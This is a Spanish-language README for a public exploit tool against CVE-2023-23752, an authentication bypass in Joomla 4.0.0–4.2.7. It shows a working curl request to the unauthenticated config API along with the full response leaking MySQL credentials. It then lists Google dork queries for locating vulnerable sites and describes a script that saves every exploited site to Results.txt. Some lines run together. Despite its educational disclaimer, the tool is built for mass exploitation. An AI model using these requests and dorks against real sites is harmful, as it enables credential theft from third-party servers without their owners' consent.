
Exploit para CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Exploit para CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Como se ha comentado, CVE-2023-23752 es una omisión de autenticación que resulta en una fuga de información. La mayoría de los exploits públicos utilizan esta omisión para filtrar la configuración del sistema, que contiene las credenciales de la base de datos MySQL de Joomla! en texto plano. Lo siguiente demuestra la fuga:
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
En la prueba de concepto anterior, el servidor responde con las credenciales root:labpass1, que son las credenciales para nuestra cuenta de prueba de Joomla! MySQL. Pero es importante saber que nuestro servidor MySQL de prueba estaba vinculado a 127.0.0.1, por lo que el atacante remoto no puede acceder al servidor, haciendo que las credenciales sean prácticamente inútiles. Vincular MySQL a localhost debería ser la configuración más común, lo que limita severamente esta fuga de credenciales.
Este Exploit y Prueba de Concepto (PoC) se presenta únicamente con fines educativos e informativos. La intención detrás de compartir esto es demostrar vulnerabilidades potenciales en un entorno controlado. El objetivo es promover la comprensión de conceptos de ciberseguridad y fomentar la divulgación responsable.
Al acceder y utilizar este Exploit y PoC, reconoce que es el único responsable de sus acciones y acepta usar esta información de acuerdo con las leyes y regulaciones aplicables. El autor no asume ninguna responsabilidad por cualquier uso indebido o consecuencias derivadas del uso de este PoC para cualquier propósito que no sea la educación y la divulgación responsable.
requests, colorama , urllib3 , fake_useragent , aio-httpClonar el repositorio:
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
Instalar los paquetes Python necesarios:
pip install -r requirements.txt
.txt.inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" /api/index.php/v1/config/application?public=true , filetype:php inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"Ejecute el script:
python joomla.py
Deje que el script siga su curso y siga las instrucciones.
Cada sitio explotado se guardará en Results.txt.
¡Las contribuciones son bienvenidas! Si encuentra algún problema o tiene mejoras, no dude en abrir un pull request o crear un issue.
Este proyecto está licenciado bajo la Licencia MIT.